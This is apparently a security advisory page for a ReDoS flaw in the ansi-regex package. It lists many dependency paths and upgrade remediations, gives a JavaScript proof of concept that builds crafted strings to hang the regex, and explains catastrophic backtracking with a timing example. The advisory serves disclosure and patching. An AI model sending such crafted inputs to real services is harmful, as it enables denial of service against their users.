  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-parameters@6.24.1 babel-helper-call-delegate@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 csso@2.3.2 clap@1.2.3 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 csso@2.3.2 clap@1.2.3 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-function-name@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-object-super@6.24.1 babel-helper-replace-supers@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-plugin-transform-class-constructor-call@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 css-loader@0.26.4 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 csso@2.3.2 clap@1.2.3 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 optimize-css-assets-webpack-plugin@3.2.0 cssnano@3.10.0 postcss-svgo@2.1.6 svgo@0.7.2 csso@2.3.2 clap@1.2.3 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-classes@6.24.1 babel-helper-define-map@6.26.0 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-env@1.7.0 babel-plugin-transform-es2015-modules-umd@6.24.1 babel-plugin-transform-es2015-modules-amd@6.24.1 babel-plugin-transform-es2015-modules-commonjs@6.26.2 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-class-properties@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-plugin-transform-decorators@6.24.1 babel-helper-explode-class@6.24.1 babel-helper-bindify-decorators@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-exponentiation-operator@6.24.1 babel-helper-builder-binary-assignment-operator-visitor@6.24.1 babel-helper-explode-assignable-expression@6.24.1 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 has-ansi@2.0.0 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-to-generator@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 babel-preset-stage-0@6.24.1 babel-preset-stage-1@6.24.1 babel-preset-stage-2@6.24.1 babel-preset-stage-3@6.24.1 babel-plugin-transform-async-generator-functions@6.24.1 babel-helper-remap-async-to-generator@6.24.1 babel-helper-function-name@6.24.1 babel-template@6.26.0 babel-traverse@6.26.0 babel-code-frame@6.26.0 chalk@1.1.3 strip-ansi@3.0.1 ansi-regex@2.1.1
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 eslint-friendly-formatter@4.0.1 strip-ansi@4.0.0 ansi-regex@3.0.0
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to react-dev-utils@10.1.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 inquirer@6.5.2 string-width@2.1.1 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to inquirer@7.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 eslint-config-dawn@1.0.9 eslint@5.16.0 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to dn-middleware-webpack-hmr@1.1.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 inquirer@6.2.0 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to react-dev-utils@11.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 react-dev-utils@6.1.1 inquirer@6.2.0 string-width@2.1.1 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to react-dev-utils@10.1.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 webpack@3.12.0 yargs@8.0.2 string-width@2.1.1 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to webpack@4.0.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 eslint-config-dawn@1.0.9 eslint@5.16.0 inquirer@6.5.2 string-width@2.1.1 strip-ansi@4.0.0 ansi-regex@3.0.0
    Remediation: Upgrade to dn-middleware-webpack-hmr@1.1.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 inquirer@6.5.2 strip-ansi@5.2.0 ansi-regex@4.1.0
    Remediation: Upgrade to inquirer@7.0.5.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 eslint-config-dawn@1.0.9 eslint@5.16.0 inquirer@6.5.2 strip-ansi@5.2.0 ansi-regex@4.1.0
    Remediation: Upgrade to dn-middleware-webpack-hmr@1.1.0.
  • Introduced through: dn-middleware-webpack-hmr@1.0.0-alpha.4 eslint-config-dawn@1.0.9 eslint@5.16.0 table@5.4.6 string-width@3.1.0 strip-ansi@5.2.0 ansi-regex@4.1.0
    Remediation: Upgrade to dn-middleware-webpack-hmr@1.1.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*.

PoC

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = "\u001B["+";".repeat(i*10000);
    ansiRegex().test(attack_str)
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

